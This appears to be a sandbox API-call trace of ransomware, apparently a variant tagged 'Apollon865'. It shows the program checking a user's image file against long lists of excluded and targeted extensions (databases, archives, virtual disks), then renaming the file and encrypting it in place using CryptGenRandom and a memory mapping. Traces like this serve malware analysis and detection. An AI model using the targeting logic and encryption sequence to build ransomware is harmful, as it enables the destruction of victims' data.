	[0087.256] lstrlenW (lpString="FpuhSn.bmp") returned 10
	[0087.256] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\EfKnGxZUf5_3xx4I.png") returned 74
	[0087.256] lstrcpyW (in: lpString1=0x119e674, lpString2="FpuhSn.bmp" | out: lpString1="FpuhSn.bmp") returned="FpuhSn.bmp"
	[0087.256] lstrlenW (lpString="FpuhSn.bmp") returned 10
	[0087.256] lstrlenW (lpString="Apollon865") returned 10
	[0087.256] lstrlenW (lpString=".dll") returned 4
	[0087.256] lstrcmpiW (lpString1="FpuhSn.bmp", lpString2=".dll") returned 1
	[0087.256] lstrlenW (lpString=".lnk") returned 4
	[0087.256] lstrcmpiW (lpString1="FpuhSn.bmp", lpString2=".lnk") returned 1
	[0087.256] lstrlenW (lpString=".ini") returned 4
	[0087.256] lstrcmpiW (lpString1="FpuhSn.bmp", lpString2=".ini") returned 1
	[0087.256] lstrlenW (lpString=".sys") returned 4
	[0087.256] lstrcmpiW (lpString1="FpuhSn.bmp", lpString2=".sys") returned 1
	[0087.256] lstrlenW (lpString="FpuhSn.bmp") returned 10
	[0087.256] lstrlenW (lpString="bak") returned 3
	[0087.256] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1
	[0087.256] lstrlenW (lpString="ba_") returned 3
	[0087.256] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1
	[0087.256] lstrlenW (lpString="dbb") returned 3
	[0087.257] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1
	[0087.257] lstrlenW (lpString="vmdk") returned 4
	[0087.257] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1
	[0087.257] lstrlenW (lpString="rar") returned 3
	[0087.257] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1
	[0087.257] lstrlenW (lpString="zip") returned 3
	[0087.257] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1
	[0087.257] lstrlenW (lpString="tgz") returned 3
	[0087.257] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1
	[0087.257] lstrlenW (lpString="vbox") returned 4
	[0087.257] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1
	[0087.257] lstrlenW (lpString="vdi") returned 3
	[0087.257] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1
	[0087.257] lstrlenW (lpString="vhd") returned 3
	[0087.257] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1
	[0087.257] lstrlenW (lpString="vhdx") returned 4
	[0087.257] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1
	[0087.257] lstrlenW (lpString="avhd") returned 4
	[0087.257] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1
	[0087.257] lstrlenW (lpString="db") returned 2
	[0087.257] lstrcmpiW (lpString1="mp", lpString2="db") returned 1
	[0087.257] lstrlenW (lpString="db2") returned 3
	[0087.257] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1
	[0087.257] lstrlenW (lpString="db3") returned 3
	[0087.257] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1
	[0087.257] lstrlenW (lpString="dbf") returned 3
	[0087.257] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1
	[0087.257] lstrlenW (lpString="mdf") returned 3
	[0087.257] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1
	[0087.257] lstrlenW (lpString="mdb") returned 3
	[0087.258] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1
	[0087.258] lstrlenW (lpString="sql") returned 3
	[0087.258] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1
	[0087.258] lstrlenW (lpString="sqlite") returned 6
	[0087.258] lstrcmpiW (lpString1="Sn.bmp", lpString2="sqlite") returned -1
	[0087.258] lstrlenW (lpString="sqlite3") returned 7
	[0087.258] lstrcmpiW (lpString1="hSn.bmp", lpString2="sqlite3") returned -1
	[0087.258] lstrlenW (lpString="sqlitedb") returned 8
	[0087.258] lstrcmpiW (lpString1="uhSn.bmp", lpString2="sqlitedb") returned 1
	[0087.258] lstrlenW (lpString="xml") returned 3
	[0087.258] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1
	[0087.258] lstrlenW (lpString="$er") returned 3
	[0087.258] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1
	[0087.258] lstrlenW (lpString="4dd") returned 3
	[0087.258] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1
	[0087.258] lstrlenW (lpString="4dl") returned 3
	[0087.258] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1
	[0087.258] lstrlenW (lpString="^^^") returned 3
	[0087.258] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1
	[0087.258] lstrlenW (lpString="abs") returned 3
	[0087.258] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1
	[0087.258] lstrlenW (lpString="abx") returned 3
	[0087.258] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1
	[0087.258] lstrlenW (lpString="accdb") returned 5
	[0087.258] lstrcmpiW (lpString1="n.bmp", lpString2="accdb") returned 1
	[0087.258] lstrlenW (lpString="accdc") returned 5
	[0087.258] lstrcmpiW (lpString1="n.bmp", lpString2="accdc") returned 1
	[0087.258] lstrlenW (lpString="accde") returned 5
	[0087.258] lstrcmpiW (lpString1="n.bmp", lpString2="accde") returned 1
	[0087.259] lstrlenW (lpString="accdr") returned 5
	[0087.259] lstrcmpiW (lpString1="n.bmp", lpString2="accdr") returned 1
	[0087.259] lstrlenW (lpString="accdt") returned 5
	[0087.259] lstrcmpiW (lpString1="n.bmp", lpString2="accdt") returned 1
	[0087.259] lstrlenW (lpString="accdw") returned 5
	[0087.259] lstrcmpiW (lpString1="n.bmp", lpString2="accdw") returned 1
	[0087.259] lstrlenW (lpString="accft") returned 5
	[0087.259] lstrcmpiW (lpString1="n.bmp", lpString2="accft") returned 1
	[0087.259] lstrlenW (lpString="adb") returned 3
	[0087.259] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0087.259] lstrlenW (lpString="adb") returned 3
	[0087.259] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0087.259] lstrlenW (lpString="ade") returned 3
	[0087.259] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1
	[0087.259] lstrlenW (lpString="adf") returned 3
	[0087.259] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1
	[0087.259] lstrlenW (lpString="adn") returned 3
	[0087.259] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1
	[0087.259] lstrlenW (lpString="adp") returned 3
	[0087.259] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1
	[0087.259] lstrlenW (lpString="alf") returned 3
	[0087.259] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1
	[0087.259] lstrlenW (lpString="ask") returned 3
	[0087.259] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1
	[0087.259] lstrlenW (lpString="btr") returned 3
	[0087.259] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1
	[0087.259] lstrlenW (lpString="cat") returned 3
	[0087.259] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1
	[0087.259] lstrlenW (lpString="cdb") returned 3
	[0087.259] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1
	[0087.260] lstrlenW (lpString="ckp") returned 3
	[0087.260] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1
	[0087.260] lstrlenW (lpString="cma") returned 3
	[0087.260] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1
	[0087.260] lstrlenW (lpString="cpd") returned 3
	[0087.260] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1
	[0087.260] lstrlenW (lpString="dacpac") returned 6
	[0087.260] lstrcmpiW (lpString1="Sn.bmp", lpString2="dacpac") returned 1
	[0087.260] lstrlenW (lpString="dad") returned 3
	[0087.260] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1
	[0087.260] lstrlenW (lpString="dadiagrams") returned 10
	[0087.260] lstrlenW (lpString="daschema") returned 8
	[0087.260] lstrcmpiW (lpString1="uhSn.bmp", lpString2="daschema") returned 1
	[0087.260] lstrlenW (lpString="db-journal") returned 10
	[0087.260] lstrlenW (lpString="db-shm") returned 6
	[0087.260] lstrcmpiW (lpString1="Sn.bmp", lpString2="db-shm") returned 1
	[0087.260] lstrlenW (lpString="db-wal") returned 6
	[0087.260] lstrcmpiW (lpString1="Sn.bmp", lpString2="db-wal") returned 1
	[0087.260] lstrlenW (lpString="dbc") returned 3
	[0087.260] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1
	[0087.260] lstrlenW (lpString="dbs") returned 3
	[0087.260] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1
	[0087.260] lstrlenW (lpString="dbt") returned 3
	[0087.260] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1
	[0087.260] lstrlenW (lpString="dbv") returned 3
	[0087.260] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1
	[0087.260] lstrlenW (lpString="dbx") returned 3
	[0087.260] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1
	[0087.260] lstrlenW (lpString="dcb") returned 3
	[0087.260] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1
	[0087.260] lstrlenW (lpString="dct") returned 3
	[0087.260] lstrcmpiW (lpString1="bmp", lpString2="dct") returned -1
	[0087.260] lstrlenW (lpString="dcx") returned 3
	[0087.260] lstrcmpiW (lpString1="bmp", lpString2="dcx") returned -1
	[0087.261] lstrlenW (lpString="ddl") returned 3
	[0087.261] lstrcmpiW (lpString1="bmp", lpString2="ddl") returned -1
	[0087.261] lstrlenW (lpString="dlis") returned 4
	[0087.261] lstrcmpiW (lpString1=".bmp", lpString2="dlis") returned -1
	[0087.261] lstrlenW (lpString="dp1") returned 3
	[0087.261] lstrcmpiW (lpString1="bmp", lpString2="dp1") returned -1
	[0087.261] lstrlenW (lpString="dqy") returned 3
	[0087.261] lstrcmpiW (lpString1="bmp", lpString2="dqy") returned -1
	[0087.261] lstrlenW (lpString="dsk") returned 3
	[0087.261] lstrcmpiW (lpString1="bmp", lpString2="dsk") returned -1
	[0087.261] lstrlenW (lpString="dsn") returned 3
	[0087.261] lstrcmpiW (lpString1="bmp", lpString2="dsn") returned -1
	[0087.261] lstrlenW (lpString="dtsx") returned 4
	[0087.261] lstrcmpiW (lpString1=".bmp", lpString2="dtsx") returned -1
	[0087.261] lstrlenW (lpString="dxl") returned 3
	[0087.261] lstrcmpiW (lpString1="bmp", lpString2="dxl") returned -1
	[0087.261] lstrlenW (lpString="eco") returned 3
	[0087.261] lstrcmpiW (lpString1="bmp", lpString2="eco") returned -1
	[0087.261] lstrlenW (lpString="ecx") returned 3
	[0087.261] lstrcmpiW (lpString1="bmp", lpString2="ecx") returned -1
	[0087.261] lstrlenW (lpString="edb") returned 3
	[0087.261] lstrcmpiW (lpString1="bmp", lpString2="edb") returned -1
	[0087.261] lstrlenW (lpString="epim") returned 4
	[0087.261] lstrcmpiW (lpString1=".bmp", lpString2="epim") returned -1
	[0087.261] lstrlenW (lpString="fcd") returned 3
	[0087.261] lstrcmpiW (lpString1="bmp", lpString2="fcd") returned -1
	[0087.261] lstrlenW (lpString="fdb") returned 3
	[0087.261] lstrcmpiW (lpString1="bmp", lpString2="fdb") returned -1
	[0087.261] lstrlenW (lpString="fic") returned 3
	[0087.261] lstrcmpiW (lpString1="bmp", lpString2="fic") returned -1
	[0087.261] lstrlenW (lpString="flexolibrary") returned 12
	[0087.261] lstrlenW (lpString="fm5") returned 3
	[0087.261] lstrcmpiW (lpString1="bmp", lpString2="fm5") returned -1
	[0087.261] lstrlenW (lpString="fmp") returned 3
	[0087.262] lstrcmpiW (lpString1="bmp", lpString2="fmp") returned -1
	[0087.262] lstrlenW (lpString="fmp12") returned 5
	[0087.262] lstrcmpiW (lpString1="n.bmp", lpString2="fmp12") returned 1
	[0087.262] lstrlenW (lpString="fmpsl") returned 5
	[0087.262] lstrcmpiW (lpString1="n.bmp", lpString2="fmpsl") returned 1
	[0087.262] lstrlenW (lpString="fol") returned 3
	[0087.262] lstrcmpiW (lpString1="bmp", lpString2="fol") returned -1
	[0087.262] lstrlenW (lpString="fp3") returned 3
	[0087.262] lstrcmpiW (lpString1="bmp", lpString2="fp3") returned -1
	[0087.262] lstrlenW (lpString="fp4") returned 3
	[0087.262] lstrcmpiW (lpString1="bmp", lpString2="fp4") returned -1
	[0087.262] lstrlenW (lpString="fp5") returned 3
	[0087.262] lstrcmpiW (lpString1="bmp", lpString2="fp5") returned -1
	[0087.262] lstrlenW (lpString="fp7") returned 3
	[0087.262] lstrcmpiW (lpString1="bmp", lpString2="fp7") returned -1
	[0087.262] lstrlenW (lpString="fpt") returned 3
	[0087.262] lstrcmpiW (lpString1="bmp", lpString2="fpt") returned -1
	[0087.262] lstrlenW (lpString="frm") returned 3
	[0087.262] lstrcmpiW (lpString1="bmp", lpString2="frm") returned -1
	[0087.262] lstrlenW (lpString="gdb") returned 3
	[0087.262] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1
	[0087.262] lstrlenW (lpString="gdb") returned 3
	[0087.262] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1
	[0087.262] lstrlenW (lpString="grdb") returned 4
	[0087.262] lstrcmpiW (lpString1=".bmp", lpString2="grdb") returned -1
	[0087.262] lstrlenW (lpString="gwi") returned 3
	[0087.262] lstrcmpiW (lpString1="bmp", lpString2="gwi") returned -1
	[0087.262] lstrlenW (lpString="hdb") returned 3
	[0087.262] lstrcmpiW (lpString1="bmp", lpString2="hdb") returned -1
	[0087.262] lstrlenW (lpString="his") returned 3
	[0087.262] lstrcmpiW (lpString1="bmp", lpString2="his") returned -1
	[0087.262] lstrlenW (lpString="ib") returned 2
	[0087.262] lstrcmpiW (lpString1="mp", lpString2="ib") returned 1
	[0087.262] lstrlenW (lpString="idb") returned 3
	[0087.263] lstrcmpiW (lpString1="bmp", lpString2="idb") returned -1
	[0087.263] lstrlenW (lpString="ihx") returned 3
	[0087.263] lstrcmpiW (lpString1="bmp", lpString2="ihx") returned -1
	[0087.263] lstrlenW (lpString="itdb") returned 4
	[0087.263] lstrcmpiW (lpString1=".bmp", lpString2="itdb") returned -1
	[0087.263] lstrlenW (lpString="itw") returned 3
	[0087.263] lstrcmpiW (lpString1="bmp", lpString2="itw") returned -1
	[0087.263] lstrlenW (lpString="jet") returned 3
	[0087.263] lstrcmpiW (lpString1="bmp", lpString2="jet") returned -1
	[0087.263] lstrlenW (lpString="jtx") returned 3
	[0087.263] lstrcmpiW (lpString1="bmp", lpString2="jtx") returned -1
	[0087.263] lstrlenW (lpString="kdb") returned 3
	[0087.263] lstrcmpiW (lpString1="bmp", lpString2="kdb") returned -1
	[0087.263] lstrlenW (lpString="kexi") returned 4
	[0087.263] lstrcmpiW (lpString1=".bmp", lpString2="kexi") returned -1
	[0087.263] lstrlenW (lpString="kexic") returned 5
	[0087.263] lstrcmpiW (lpString1="n.bmp", lpString2="kexic") returned 1
	[0087.263] lstrlenW (lpString="kexis") returned 5
	[0087.263] lstrcmpiW (lpString1="n.bmp", lpString2="kexis") returned 1
	[0087.263] lstrlenW (lpString="lgc") returned 3
	[0087.263] lstrcmpiW (lpString1="bmp", lpString2="lgc") returned -1
	[0087.263] lstrlenW (lpString="lwx") returned 3
	[0087.263] lstrcmpiW (lpString1="bmp", lpString2="lwx") returned -1
	[0087.263] lstrlenW (lpString="maf") returned 3
	[0087.263] lstrcmpiW (lpString1="bmp", lpString2="maf") returned -1
	[0087.263] lstrlenW (lpString="maq") returned 3
	[0087.263] lstrcmpiW (lpString1="bmp", lpString2="maq") returned -1
	[0087.263] lstrlenW (lpString="mar") returned 3
	[0087.263] lstrcmpiW (lpString1="bmp", lpString2="mar") returned -1
	[0087.263] lstrlenW (lpString="marshal") returned 7
	[0087.263] lstrcmpiW (lpString1="hSn.bmp", lpString2="marshal") returned -1
	[0087.263] lstrlenW (lpString="mas") returned 3
	[0087.263] lstrcmpiW (lpString1="bmp", lpString2="mas") returned -1
	[0087.263] lstrlenW (lpString="mav") returned 3
	[0087.263] lstrcmpiW (lpString1="bmp", lpString2="mav") returned -1
	[0087.264] lstrlenW (lpString="maw") returned 3
	[0087.264] lstrcmpiW (lpString1="bmp", lpString2="maw") returned -1
	[0087.264] lstrlenW (lpString="mdbhtml") returned 7
	[0087.264] lstrcmpiW (lpString1="hSn.bmp", lpString2="mdbhtml") returned -1
	[0087.264] lstrlenW (lpString="mdn") returned 3
	[0087.264] lstrcmpiW (lpString1="bmp", lpString2="mdn") returned -1
	[0087.264] lstrlenW (lpString="mdt") returned 3
	[0087.264] lstrcmpiW (lpString1="bmp", lpString2="mdt") returned -1
	[0087.264] lstrlenW (lpString="mfd") returned 3
	[0087.264] lstrcmpiW (lpString1="bmp", lpString2="mfd") returned -1
	[0087.264] lstrlenW (lpString="mpd") returned 3
	[0087.264] lstrcmpiW (lpString1="bmp", lpString2="mpd") returned -1
	[0087.264] lstrlenW (lpString="mrg") returned 3
	[0087.264] lstrcmpiW (lpString1="bmp", lpString2="mrg") returned -1
	[0087.264] lstrlenW (lpString="mud") returned 3
	[0087.264] lstrcmpiW (lpString1="bmp", lpString2="mud") returned -1
	[0087.264] lstrlenW (lpString="mwb") returned 3
	[0087.264] lstrcmpiW (lpString1="bmp", lpString2="mwb") returned -1
	[0087.264] lstrlenW (lpString="myd") returned 3
	[0087.264] lstrcmpiW (lpString1="bmp", lpString2="myd") returned -1
	[0087.264] lstrlenW (lpString="ndf") returned 3
	[0087.264] lstrcmpiW (lpString1="bmp", lpString2="ndf") returned -1
	[0087.264] lstrlenW (lpString="nnt") returned 3
	[0087.264] lstrcmpiW (lpString1="bmp", lpString2="nnt") returned -1
	[0087.264] lstrlenW (lpString="nrmlib") returned 6
	[0087.264] lstrcmpiW (lpString1="Sn.bmp", lpString2="nrmlib") returned 1
	[0087.264] lstrlenW (lpString="ns2") returned 3
	[0087.264] lstrcmpiW (lpString1="bmp", lpString2="ns2") returned -1
	[0087.264] lstrlenW (lpString="ns3") returned 3
	[0087.264] lstrcmpiW (lpString1="bmp", lpString2="ns3") returned -1
	[0087.264] lstrlenW (lpString="ns4") returned 3
	[0087.264] lstrcmpiW (lpString1="bmp", lpString2="ns4") returned -1
	[0087.264] lstrlenW (lpString="nsf") returned 3
	[0087.264] lstrcmpiW (lpString1="bmp", lpString2="nsf") returned -1
	[0087.265] lstrlenW (lpString="nv") returned 2
	[0087.265] lstrcmpiW (lpString1="mp", lpString2="nv") returned -1
	[0087.265] lstrlenW (lpString="nv2") returned 3
	[0087.265] lstrcmpiW (lpString1="bmp", lpString2="nv2") returned -1
	[0087.265] lstrlenW (lpString="nwdb") returned 4
	[0087.265] lstrcmpiW (lpString1=".bmp", lpString2="nwdb") returned -1
	[0087.265] lstrlenW (lpString="nyf") returned 3
	[0087.265] lstrcmpiW (lpString1="bmp", lpString2="nyf") returned -1
	[0087.265] lstrlenW (lpString="odb") returned 3
	[0087.265] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1
	[0087.265] lstrlenW (lpString="odb") returned 3
	[0087.265] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1
	[0087.265] lstrlenW (lpString="oqy") returned 3
	[0087.265] lstrcmpiW (lpString1="bmp", lpString2="oqy") returned -1
	[0087.265] lstrlenW (lpString="ora") returned 3
	[0087.265] lstrcmpiW (lpString1="bmp", lpString2="ora") returned -1
	[0087.265] lstrlenW (lpString="orx") returned 3
	[0087.265] lstrcmpiW (lpString1="bmp", lpString2="orx") returned -1
	[0087.265] lstrlenW (lpString="owc") returned 3
	[0087.265] lstrcmpiW (lpString1="bmp", lpString2="owc") returned -1
	[0087.265] lstrlenW (lpString="p96") returned 3
	[0087.265] lstrcmpiW (lpString1="bmp", lpString2="p96") returned -1
	[0087.265] lstrlenW (lpString="p97") returned 3
	[0087.265] lstrcmpiW (lpString1="bmp", lpString2="p97") returned -1
	[0087.265] lstrlenW (lpString="pan") returned 3
	[0087.265] lstrcmpiW (lpString1="bmp", lpString2="pan") returned -1
	[0087.265] lstrlenW (lpString="pdb") returned 3
	[0087.265] lstrcmpiW (lpString1="bmp", lpString2="pdb") returned -1
	[0087.265] lstrlenW (lpString="pdm") returned 3
	[0087.265] lstrcmpiW (lpString1="bmp", lpString2="pdm") returned -1
	[0087.265] lstrlenW (lpString="pnz") returned 3
	[0087.265] lstrcmpiW (lpString1="bmp", lpString2="pnz") returned -1
	[0087.265] lstrlenW (lpString="qry") returned 3
	[0087.265] lstrcmpiW (lpString1="bmp", lpString2="qry") returned -1
	[0087.266] lstrlenW (lpString="qvd") returned 3
	[0087.266] lstrcmpiW (lpString1="bmp", lpString2="qvd") returned -1
	[0087.266] lstrlenW (lpString="rbf") returned 3
	[0087.266] lstrcmpiW (lpString1="bmp", lpString2="rbf") returned -1
	[0087.266] lstrlenW (lpString="rctd") returned 4
	[0087.266] lstrcmpiW (lpString1=".bmp", lpString2="rctd") returned -1
	[0087.266] lstrlenW (lpString="rod") returned 3
	[0087.266] lstrcmpiW (lpString1="bmp", lpString2="rod") returned -1
	[0087.266] lstrlenW (lpString="rodx") returned 4
	[0087.266] lstrcmpiW (lpString1=".bmp", lpString2="rodx") returned -1
	[0087.266] lstrlenW (lpString="rpd") returned 3
	[0087.266] lstrcmpiW (lpString1="bmp", lpString2="rpd") returned -1
	[0087.266] lstrlenW (lpString="rsd") returned 3
	[0087.266] lstrcmpiW (lpString1="bmp", lpString2="rsd") returned -1
	[0087.266] lstrlenW (lpString="sas7bdat") returned 8
	[0087.266] lstrcmpiW (lpString1="uhSn.bmp", lpString2="sas7bdat") returned 1
	[0087.266] lstrlenW (lpString="sbf") returned 3
	[0087.266] lstrcmpiW (lpString1="bmp", lpString2="sbf") returned -1
	[0087.266] lstrlenW (lpString="scx") returned 3
	[0087.266] lstrcmpiW (lpString1="bmp", lpString2="scx") returned -1
	[0087.266] lstrlenW (lpString="sdb") returned 3
	[0087.266] lstrcmpiW (lpString1="bmp", lpString2="sdb") returned -1
	[0087.266] lstrlenW (lpString="sdc") returned 3
	[0087.266] lstrcmpiW (lpString1="bmp", lpString2="sdc") returned -1
	[0087.266] lstrlenW (lpString="sdf") returned 3
	[0087.266] lstrcmpiW (lpString1="bmp", lpString2="sdf") returned -1
	[0087.266] lstrlenW (lpString="sis") returned 3
	[0087.266] lstrcmpiW (lpString1="bmp", lpString2="sis") returned -1
	[0087.266] lstrlenW (lpString="spq") returned 3
	[0087.266] lstrcmpiW (lpString1="bmp", lpString2="spq") returned -1
	[0087.266] lstrlenW (lpString="te") returned 2
	[0087.266] lstrcmpiW (lpString1="mp", lpString2="te") returned -1
	[0087.266] lstrlenW (lpString="teacher") returned 7
	[0087.266] lstrcmpiW (lpString1="hSn.bmp", lpString2="teacher") returned -1
	[0087.267] lstrlenW (lpString="tmd") returned 3
	[0087.267] lstrcmpiW (lpString1="bmp", lpString2="tmd") returned -1
	[0087.267] lstrlenW (lpString="tps") returned 3
	[0087.267] lstrcmpiW (lpString1="bmp", lpString2="tps") returned -1
	[0087.267] lstrlenW (lpString="trc") returned 3
	[0087.267] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1
	[0087.267] lstrlenW (lpString="trc") returned 3
	[0087.267] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1
	[0087.267] lstrlenW (lpString="trm") returned 3
	[0087.267] lstrcmpiW (lpString1="bmp", lpString2="trm") returned -1
	[0087.267] lstrlenW (lpString="udb") returned 3
	[0087.267] lstrcmpiW (lpString1="bmp", lpString2="udb") returned -1
	[0087.267] lstrlenW (lpString="udl") returned 3
	[0087.267] lstrcmpiW (lpString1="bmp", lpString2="udl") returned -1
	[0087.267] lstrlenW (lpString="usr") returned 3
	[0087.267] lstrcmpiW (lpString1="bmp", lpString2="usr") returned -1
	[0087.267] lstrlenW (lpString="v12") returned 3
	[0087.267] lstrcmpiW (lpString1="bmp", lpString2="v12") returned -1
	[0087.267] lstrlenW (lpString="vis") returned 3
	[0087.267] lstrcmpiW (lpString1="bmp", lpString2="vis") returned -1
	[0087.267] lstrlenW (lpString="vpd") returned 3
	[0087.267] lstrcmpiW (lpString1="bmp", lpString2="vpd") returned -1
	[0087.267] lstrlenW (lpString="vvv") returned 3
	[0087.267] lstrcmpiW (lpString1="bmp", lpString2="vvv") returned -1
	[0087.267] lstrlenW (lpString="wdb") returned 3
	[0087.267] lstrcmpiW (lpString1="bmp", lpString2="wdb") returned -1
	[0087.267] lstrlenW (lpString="wmdb") returned 4
	[0087.267] lstrcmpiW (lpString1=".bmp", lpString2="wmdb") returned -1
	[0087.267] lstrlenW (lpString="wrk") returned 3
	[0087.267] lstrcmpiW (lpString1="bmp", lpString2="wrk") returned -1
	[0087.267] lstrlenW (lpString="xdb") returned 3
	[0087.267] lstrcmpiW (lpString1="bmp", lpString2="xdb") returned -1
	[0087.267] lstrlenW (lpString="xld") returned 3
	[0087.268] lstrcmpiW (lpString1="bmp", lpString2="xld") returned -1
	[0087.268] lstrlenW (lpString="xmlff") returned 5
	[0087.268] lstrcmpiW (lpString1="n.bmp", lpString2="xmlff") returned -1
	[0087.268] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\FpuhSn.bmp.Apollon865") returned 75
	[0087.268] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\FpuhSn.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\fpuhsn.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\FpuhSn.bmp.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\fpuhsn.bmp.apollon865"), dwFlags=0x1) returned 1
	[0087.269] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\FpuhSn.bmp.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\fpuhsn.bmp.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.269] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=77654) returned 1
	[0087.269] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.270] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.270] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.270] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.271] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.271] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.271] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13260, lpName=0x0) returned 0x15c
	[0087.271] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13260) returned 0x120000
	[0087.274] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.275] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.275] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.275] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.275] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.275] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.275] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.275] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0087.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0087.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.275] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0087.276] CloseHandle (hObject=0x15c) returned 1
	[0087.276] CloseHandle (hObject=0x9c) returned 1
